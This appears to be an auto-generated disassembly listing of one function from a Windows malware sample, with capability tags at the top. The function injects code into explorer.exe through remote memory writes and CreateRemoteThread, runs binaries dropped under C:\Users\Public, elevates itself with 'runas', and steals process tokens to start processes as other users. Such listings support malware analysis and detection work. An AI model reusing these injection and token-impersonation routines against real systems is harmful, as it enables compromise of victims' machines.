Function at 0x407300
Capabilities:
Allocate or change rwx memory
Check if file exists
Create process on windows
Create process suspended
Create thread
Execute shellcode via indirect call
Get file attributes
Impersonate user
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x6d4
mov eax, dword [0x442754]
xor eax, esp
mov dword [esp + 0x6d0], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, ecx
mov dword [esp + 0x20], eax
push edi
mov ebx, edx
mov ecx, 0x43aa5c
mov eax, esi
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x407350
test dl, dl
je 0x40734c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x407350
add eax, 2
add ecx, 2
test dl, dl
jne 0x407330
xor eax, eax
jmp 0x407355
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40743d
push 0x44
push eax
lea ecx, [esp + 0x38]
push ecx
call fcn.00421fd0
xor eax, eax
add esp, 0xc
push str.C:UsersPublicUpdateexplorer
mov dword [esp + 0x34], 0x44
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40739b
test al, 0x10
je 0x4073ad
push str.C:UsersPublicUpdateexplore
mov eax, str.C:UsersPublicUpdateexplore.exe
call fcn.00402a60
add esp, 4
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x34]
push eax
push str.C:UsersPublicUpdate_
push 0
push 0x8000008
push 0
push 0
push 0
push str.C:UsersPublicUpdateexplore.exe
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x4077cc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x43aadc
lea ecx, [esp + 0x1d8]
push 0x400
push ecx
call fcn.0041d516
push 0x43a980
lea edx, [esp + 0x1e4]
push edx
push 0x43aaf0
push 3
call fcn.00402eb0
mov ecx, eax
add esp, 0x20
lea esi, [ecx + 1]
lea ecx, [ecx]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x407420
push eax
mov eax, dword [ebp + 8]
sub ecx, esi
push eax
mov edi, ecx
call fcn.00412810
add esp, 8
jmp 0x40861f
mov ecx, 0x43aafc
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x407464
test dl, dl
je 0x407460
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x407464
add eax, 2
add ecx, 2
test dl, dl
jne 0x407444
xor eax, eax
jmp 0x407469
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4076b6
lea eax, [esp + 0x20]
push eax
push ebx
call fcn.00402ce0
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x408624
push 0x40
lea ecx, [esp + 0x38]
push 0
push ecx
mov dword [esp + 0x3c], 0x44
call fcn.00421fd0
add esp, 0xc
cmp byte [0x443a78], 0
je 0x4074fb
push str.isX64System_n
call fcn.0041cb2c
add esp, 4
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x34]
push eax
push str.C:WindowsSysWow64_
push 0
push 0xc
push 0
push 0
push 0
push 0
push str.C:WindowsSysWow64explorer.exe
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x40754b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Failed_to_create_process._Error__lu_n
call fcn.0041cb2c
add esp, 8
jmp 0x40861f
push str.isX32System_n
call fcn.0041cb2c
add esp, 4
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x34]
push edx
push str.C:Windows_
push 0
push 0xc
push 0
push 0
push 0
push 0
push str.C:Windowsexplorer.exe
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x40754b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Failed_to_create_process._Error__lu_n
call fcn.0041cb2c
add esp, 8
jmp 0x40861f
mov edi, dword [esp + 0x20]
mov eax, dword [esp + 0x10]
push 0x40
push 0x3000
push edi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
jne 0x407595
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Failed_to_allocate_remote_memory._Error__lu_n
call fcn.0041cb2c
add esp, 8
mov ecx, dword [esp + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [esp + 0x10]
push edx
jmp 0x40861d
mov eax, dword [esp + 0x10]
push 0
push edi
push ebx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x4075bf
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Failed_to_write_remote_memory._Error__lu_n
call fcn.0041cb2c
jmp 0x4085f5
mov ecx, dword [esp + 0x10]
push 0
push 0
push 0
push esi
push 0
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov edi, eax
test edi, edi
jne 0x407660
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
push eax
push str.Failed_to_create_remote_thread._Error__lu_n
call fcn.0041cb2c
add esp, 8
call edi
push eax
push 0x43aadc
lea edx, [esp + 0x1d8]
push 0x400
push edx
call fcn.0041d516
push 0x43a980
lea eax, [esp + 0x1e4]
push eax
push 0x43aaf0
push 3
call fcn.00402eb0
mov ecx, eax
add esp, 0x20
lea edi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x407630
mov edx, dword [ebp + 8]
sub ecx, edi
push eax
push edx
mov edi, ecx
call fcn.00412810
mov eax, dword [esp + 0x18]
add esp, 8
push 0x8000
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x40757e
push 1
push 0x7530
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
mov eax, dword [esp + 0x10]
push 0x8000
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ecx, dword [esp + 0x14]
push ecx
call edi
mov edx, dword [esp + 0x10]
push edx
call edi
push ebx
call fcn.0041ba30
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6d0]
xor ecx, esp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
mov ecx, 0x43ac30
mov eax, esi
lea ecx, [ecx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4076e0
test dl, dl
je 0x4076dc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4076e0
add eax, 2
add ecx, 2
test dl, dl
jne 0x4076c0
xor eax, eax
jmp 0x4076e5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4077f5
push 0x44
push eax
lea eax, [esp + 0x38]
push eax
call fcn.00421fd0
add esp, 0xc
xor eax, eax
push 0x104
lea ecx, [esp + 0xcc]
push ecx
push eax
mov dword [esp + 0x3c], 0x44
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push str.C:UsersPublicword.exe
lea eax, [esp + 0xcc]
call fcn.00402a60
add esp, 4
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x34]
push eax
push 0
push 0
push 0x8000008
push 0
push 0
push 0
push str.C:UsersPublicword.exe
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x4077cc
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
push eax
push 0x43ac50
call fcn.0041cb2c
add esp, 8
call esi
push eax
push 0x43ac68
lea ecx, [esp + 0x1d8]
push 0x400
push ecx
call fcn.0041d516
push 0x43a980
lea edx, [esp + 0x1e4]
push edx
push 0x43a9a0
push 3
call fcn.00402eb0
mov ecx, eax
add esp, 0x20
lea esi, [ecx + 1]
lea ebx, [ebx]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x4077c0
jmp 0x407427
mov ecx, dword [esp + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [esp + 0x14]
push edx
call esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6d0]
xor ecx, esp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
mov ecx, 0x43ac7c
mov eax, esi
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x407820
test dl, dl
je 0x40781c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x407820
add eax, 2
add ecx, 2
test dl, dl
jne 0x407800
xor eax, eax
jmp 0x407825
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x407af2
push 0x104
lea eax, [esp + 0xcc]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0xc8]
push str.C:WindowsSysWow64explorer.exe
push ecx
call fcn.0041e48d
add esp, 8
test eax, eax
je 0x4079b6
lea edx, [esp + 0xc8]
push str.C:Windowsexplorer.exe
push edx
call fcn.0041e48d
add esp, 8
test eax, eax
je 0x4079b6
lea eax, [esp + 0xc8]
push str.C:WindowsSysWOW64WindowsPowerShell_v1.0powershell.exe
push eax
call fcn.0041e48d
add esp, 8
test eax, eax
je 0x4079b6
lea ecx, [esp + 0xc8]
push str.C:WindowsSysWOW64inetsrvw3wp.exe
push ecx
call fcn.0041e48d
add esp, 8
test eax, eax
je 0x4079b6
push 0x44
lea edx, [esp + 0x34]
push 0
push edx
call fcn.00421fd0
xor eax, eax
push ebx
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
push 0x43ace4
lea eax, [esp + 0xdc]
push eax
push 3
mov dword [esp + 0x4c], 0x44
call fcn.00402eb0
add esp, 0x1c
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x34]
push edx
push 0
push 0
push 0x8000008
push 0
push 0
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x40798d
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
push eax
push 0x43ac50
call fcn.0041cb2c
add esp, 8
call esi
push eax
push 0x43ac68
lea eax, [esp + 0x1d8]
push 0x400
push eax
call fcn.0041d516
push 0x43a980
lea ecx, [esp + 0x1e4]
push ecx
push 0x43a9a0
push 3
call fcn.00402eb0
mov ecx, eax
add esp, 0x20
lea esi, [ecx + 1]
lea ecx, [ecx]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x407970
mov edx, dword [ebp + 8]
push eax
sub ecx, esi
push edx
mov edi, ecx
call fcn.00412810
add esp, 8
jmp 0x40861f
mov eax, dword [esp + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [esp + 0x14]
push ecx
call esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6d0]
xor ecx, esp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
push 0x40
lea edx, [esp + 0x38]
push 0
push edx
mov dword [esp + 0x3c], 0x44
call fcn.00421fd0
mov ecx, dword [0x45f394]
lea eax, [esp + 0x2c]
push eax
push ecx
call fcn.00402ce0
add esp, 0x14
cmp byte [0x443a78], 0
mov ebx, eax
je 0x407a1d
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x34]
push eax
push str.C:WindowsSysWow64_
push 0
push 0x800000c
push 1
push 0
push 0
push 0
push str.C:WindowsSysWow64explorer.exe
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x407a4e
jmp 0x40861f
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x34]
push edx
push str.C:WindowsSysWow64_
push 0
push 0x800000c
push 1
push 0
push 0
push 0
push str.C:Windowsexplorer.exe
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40861f
mov edi, dword [esp + 0x20]
mov eax, dword [esp + 0x10]
push 0x40
push 0x3000
push edi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
je 0x40757e
mov eax, dword [esp + 0x10]
push 0
push edi
push ebx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [esp + 0x10]
test eax, eax
je 0x4085fc
push 0
push 0
push 0
push esi
push 0
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
jne 0x408624
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x43aadc
lea edx, [esp + 0x1d8]
push 0x400
push edx
call fcn.0041d516
push 0x43a980
lea eax, [esp + 0x1e4]
push eax
push 0x43aaf0
push 3
call fcn.00402eb0
mov ecx, eax
add esp, 0x20
lea edi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x407ae6
jmp 0x407637
mov ecx, 0x43ace8
mov eax, esi
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x407b20
test dl, dl
je 0x407b1c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x407b20
add eax, 2
add ecx, 2
test dl, dl
jne 0x407b00
xor eax, eax
jmp 0x407b25
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x407d6c
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea eax, [esp + 0xcc]
push eax
push 0
call esi
push 0x40
lea ecx, [esp + 0x38]
push 0
push ecx
mov dword [esp + 0x3c], 0x44
call fcn.00421fd0
lea edx, [esp + 0xd4]
push str.C:WindowsSysWow64explorer.exe
push edx
call fcn.0041e48d
add esp, 0x14
test eax, eax
je 0x407c43
lea eax, [esp + 0xc8]
push str.C:Windowsexplorer.exe
push eax
call fcn.0041e48d
add esp, 8
test eax, eax
je 0x407c43
lea ecx, [esp + 0xc8]
push str.C:WindowsSysWOW64WindowsPowerShell_v1.0powershell.exe
push ecx
call fcn.0041e48d
add esp, 8
test eax, eax
je 0x407c43
lea edx, [esp + 0xc8]
push str.C:WindowsSysWOW64inetsrvw3wp.exe
push edx
call fcn.0041e48d
add esp, 8
test eax, eax
je 0x407c43
push 0x104
lea eax, [esp + 0x5d4]
push eax
push 0
call esi
push 0
push 0
push ebx
lea ecx, [esp + 0x5dc]
push ecx
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x408624
push eax
push 0x43acf4
lea edx, [esp + 0x1d8]
push 0x400
push edx
call fcn.0041d516
push 0x43a980
lea eax, [esp + 0x1e4]
push eax
push 0x43a9a0
push 3
call fcn.00402eb0
mov ecx, eax
add esp, 0x20
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x407c37
jmp 0x40849e
mov ecx, dword [0x45f394]
lea eax, [esp + 0x20]
push eax
push ecx
call fcn.00402ce0
add esp, 8
cmp byte [0x443a78], 0
mov ebx, eax
je 0x407c94
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x34]
push eax
push str.C:WindowsSysWow64_
push 0
push 0x800000c
push 1
push 0
push 0
push 0
push str.C:WindowsSysWow64explorer.exe
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x407cc5
jmp 0x40861f
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x34]
push edx
push str.C:WindowsSysWow64_
push 0
push 0x800000c
push 1
push 0
push 0
push 0
push str.C:Windowsexplorer.exe
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40861f
mov edi, dword [esp + 0x20]
mov eax, dword [esp + 0x10]
push 0x40
push 0x3000
push edi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
je 0x40757e
mov eax, dword [esp + 0x10]
push 0
push edi
push ebx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [esp + 0x10]
test eax, eax
je 0x4085fc
push 0
push 0
push 0
push esi
push 0
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
jne 0x408624
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x43aadc
lea edx, [esp + 0x1d8]
push 0x400
push edx
call fcn.0041d516
push 0x43a980
lea eax, [esp + 0x1e4]
push eax
push 0x43aaf0
push 3
call fcn.00402eb0
mov ecx, eax
add esp, 0x20
lea edi, [ecx + 1]
lea ecx, [ecx]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x407d60
jmp 0x407637
mov ecx, 0x43ad08
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x407d93
test dl, dl
je 0x407d8f
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x407d93
add eax, 2
add ecx, 2
test dl, dl
jne 0x407d73
xor eax, eax
jmp 0x407d98
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x408624
xor edi, edi
push edi
push edi
push ebx
call fcn.0041c977
add esp, 0xc
mov esi, eax
push esi
push edi
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
cmp ebx, edi
jne 0x407e30
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Failed_to_open_process:__lu_n
lea eax, [esp + 0x1d8]
push 0x400
push eax
call fcn.0041d516
push 0x43a980
lea ecx, [esp + 0x1e4]
push ecx
push 0x43a9a0
push 3
call fcn.00402eb0
mov ecx, eax
add esp, 0x20
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x407e01
mov edx, dword [ebp + 8]
sub ecx, esi
push eax
push edx
mov edi, ecx
call fcn.00412810
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6d0]
xor ecx, esp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x2c]
push eax
push 0xa
push ebx
mov dword [esp + 0x38], edi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x407ebb
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.OpenProcessToken_failed:__lu_n
lea ecx, [esp + 0x1d8]
push 0x400
push ecx
call fcn.0041d516
push 0x43a980
lea edx, [esp + 0x1e4]
push edx
push 0x43a9a0
push 3
call fcn.00402eb0
mov ecx, eax
add esp, 0x20
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x407e85
push eax
mov eax, dword [ebp + 8]
sub ecx, esi
push eax
mov edi, ecx
call fcn.00412810
add esp, 8
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6d0]
xor ecx, esp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
mov edx, dword [esp + 0x2c]
lea ecx, [esp + 0x28]
push ecx
push 1
push 1
push edi
push 0x2000000
push edx
mov dword [esp + 0x40], edi
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
jne 0x407f5f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.DuplicateTokenEx_failed:__lu_n
lea eax, [esp + 0x1d8]
push 0x400
push eax
call fcn.0041d516
push 0x43a980
lea ecx, [esp + 0x1e4]
push ecx
push 0x43a9a0
push 3
call fcn.00402eb0
mov ecx, eax
add esp, 0x20
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x407f20
mov edx, dword [ebp + 8]
sub ecx, esi
push eax
push edx
mov edi, ecx
call fcn.00412810
mov eax, dword [esp + 0x34]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 8
push eax
call esi
push ebx
call esi
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6d0]
xor ecx, esp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
lea ecx, [esp + 0x7c]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
jne 0x4081ad
push 0x40
lea edx, [esp + 0x38]
push edi
push edx
mov dword [esp + 0x3c], 0x44
call fcn.00421fd0
mov edx, dword [esp + 0x30]
add esp, 0xc
lea eax, [esp + 0x10]
push eax
mov eax, dword [esp + 0x2c]
lea ecx, [esp + 0x34]
push ecx
push edi
push edi
push edi
push edi
push edi
push edi
push edi
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
jne 0x408142
mov ecx, dword [esp + 0x24]
mov ebx, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push eax
push eax
push 0xffffffffffffffff
push ecx
push eax
push eax
call ebx
mov esi, eax
test esi, esi
jne 0x40801c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CreateProcessAsUserA_failed:__lu
lea edx, [esp + 0x1d8]
push 0x400
push edx
call fcn.0041d516
push 0x43a980
lea eax, [esp + 0x1e4]
push eax
push 0x43a9a0
push 3
call fcn.00402eb0
mov ecx, eax
add esp, 0x20
lea esi, [ecx + 1]
lea esp, [esp]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x408010
jmp 0x407e08
xor ecx, ecx
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0041a4ce
add esp, 4
push esi
mov edi, eax
mov eax, dword [esp + 0x28]
push edi
push 0xffffffffffffffff
push eax
push 0
push 0
call ebx
mov eax, dword [esp + 0x28]
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x84]
push edx
push 0
push 0
push 0
push 0
push edi
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
test eax, eax
jne 0x4080dd
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CreateProcessWithTokenW_failed:__lu_n
lea ecx, [esp + 0x1d8]
push 0x400
push ecx
call fcn.0041d516
push 0x43a980
lea edx, [esp + 0x1e4]
push edx
push 0x43a9a0
push 3
call fcn.00402eb0
mov ecx, eax
add esp, 0x20
lea esi, [ecx + 1]
lea esp, [esp]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x4080b0
push eax
mov eax, dword [ebp + 8]
sub ecx, esi
push eax
mov edi, ecx
call fcn.00412810
add esp, 8
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6d0]
xor ecx, esp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
push str._CreateProcessWithTokenW_success_1.__n
lea ecx, [esp + 0x1d4]
push 0x400
push ecx
call fcn.0041d516
push 0x43a980
lea edx, [esp + 0x1e0]
push edx
push 0x43a9a0
push 3
call fcn.00402eb0
mov ecx, eax
add esp, 0x1c
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x408115
push eax
mov eax, dword [ebp + 8]
sub ecx, esi
push eax
mov edi, ecx
call fcn.00412810
add esp, 8
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6d0]
xor ecx, esp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
push str._CreateProcessAsUserA_success_1.__n
lea ecx, [esp + 0x1d4]
push 0x400
push ecx
call fcn.0041d516
push 0x43a980
lea edx, [esp + 0x1e0]
push edx
push 0x43a9a0
push 3
call fcn.00402eb0
mov ecx, eax
add esp, 0x1c
lea esi, [ecx + 1]
lea ebx, [ebx]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x408180
push eax
mov eax, dword [ebp + 8]
sub ecx, esi
push eax
mov edi, ecx
call fcn.00412810
add esp, 8
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6d0]
xor ecx, esp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x28]
push 1
push ecx
lea edx, [esp + 0x28]
push edx
mov dword [esp + 0x2c], edi
call dword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
test eax, eax
jne 0x408256
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CreateEnvironmentBlock_failed:__lu_n
lea eax, [esp + 0x1d8]
push 0x400
push eax
call fcn.0041d516
push 0x43a980
lea ecx, [esp + 0x1e4]
push ecx
push 0x43a9a0
push 3
call fcn.00402eb0
mov ecx, eax
add esp, 0x20
lea esi, [ecx + 1]
lea ebx, [ebx]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x408210
mov edx, dword [ebp + 8]
sub ecx, esi
push eax
push edx
mov edi, ecx
call fcn.00412810
mov eax, dword [esp + 0x30]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 8
push eax
call esi
mov ecx, dword [esp + 0x2c]
push ecx
call esi
push ebx
call esi
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6d0]
xor ecx, esp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
mov edx, dword [0x443b84]
push 0x439650
push edx
call fcn.0041e48d
add esp, 8
test eax, eax
jne 0x4084c4
mov esi, dword [esp + 0x24]
push str.C:WindowsSysWow64explorer.exe
push esi
call fcn.0041e48d
add esp, 8
test eax, eax
je 0x4084c4
push str.C:Windowsexplorer.exe
push esi
call fcn.0041e48d
add esp, 8
test eax, eax
je 0x4084c4
push str.C:WindowsSysWOW64WindowsPowerShell_v1.0powershell.exe
push esi
call fcn.0041e48d
add esp, 8
test eax, eax
je 0x4084c4
push str.C:WindowsSysWOW64inetsrvw3wp.exe
push esi
call fcn.0041e48d
add esp, 8
test eax, eax
je 0x4084c4
push 0x40
lea eax, [esp + 0x38]
push edi
push eax
mov dword [esp + 0x3c], 0x44
call fcn.00421fd0
mov eax, dword [esp + 0x2c]
add esp, 0xc
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x2c]
lea edx, [esp + 0x34]
push edx
push edi
push eax
push 0x400
push edi
push edi
push edi
push edi
push esi
push ecx
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
jne 0x40845f
mov ebx, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push eax
push eax
push 0xffffffffffffffff
mov edx, esi
push edx
push eax
push eax
call ebx
mov esi, eax
test esi, esi
jne 0x40837c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CreateProcessAsUserA_failed:__lu
lea eax, [esp + 0x1d8]
push 0x400
push eax
call fcn.0041d516
push 0x43a980
lea ecx, [esp + 0x1e4]
push ecx
push 0x43a9a0
push 3
call fcn.00402eb0
mov ecx, eax
add esp, 0x20
lea esi, [ecx + 1]
lea esp, [esp]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x408370
jmp 0x407e08
xor ecx, ecx
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0041a4ce
add esp, 4
push esi
mov edi, eax
mov eax, dword [esp + 0x28]
push edi
push 0xffffffffffffffff
push eax
push 0
push 0
call ebx
mov eax, dword [esp + 0x20]
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x2c]
lea edx, [esp + 0x84]
push edx
push 0
push eax
push 0x400
push 0
push edi
push 0
push ecx
call dword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
test eax, eax
jne 0x40841e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CreateProcessWithTokenW_failed:__lu_n
lea edx, [esp + 0x1d8]
push 0x400
push edx
call fcn.0041d516
push 0x43a980
lea eax, [esp + 0x1e4]
push eax
push 0x43a9a0
push 3
call fcn.00402eb0
mov ecx, eax
add esp, 0x20
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x408412
jmp 0x40849e
push str._CreateProcessWithTokenW_success_2.__n
lea eax, [esp + 0x1d4]
push 0x400
push eax
call fcn.0041d516
push 0x43a980
lea ecx, [esp + 0x1e0]
push ecx
push 0x43a9a0
push 3
call fcn.00402eb0
mov ecx, eax
add esp, 0x1c
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x408456
jmp 0x40849e
push str._CreateProcessAsUserA_success_2.__n
lea eax, [esp + 0x1d4]
push 0x400
push eax
call fcn.0041d516
push 0x43a980
lea ecx, [esp + 0x1e0]
push ecx
push 0x43a9a0
push 3
call fcn.00402eb0
mov ecx, eax
add esp, 0x1c
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x408497
mov edx, dword [ebp + 8]
push eax
sub ecx, esi
push edx
mov edi, ecx
call fcn.00412810
add esp, 8
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6d0]
xor ecx, esp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
push 0x44
lea eax, [esp + 0x34]
push 0
push eax
call fcn.00421fd0
add esp, 0xc
xor eax, eax
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x28]
lea edx, [esp + 0x34]
push edx
mov edx, dword [esp + 0x30]
push eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x2c]
push eax
push 0x404
push 0
push 0
push 0
push 0
push ecx
push edx
mov dword [esp + 0x5c], 0x44
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
mov ecx, dword [0x45f394]
lea eax, [esp + 0x24]
push eax
push ecx
call fcn.00402ce0
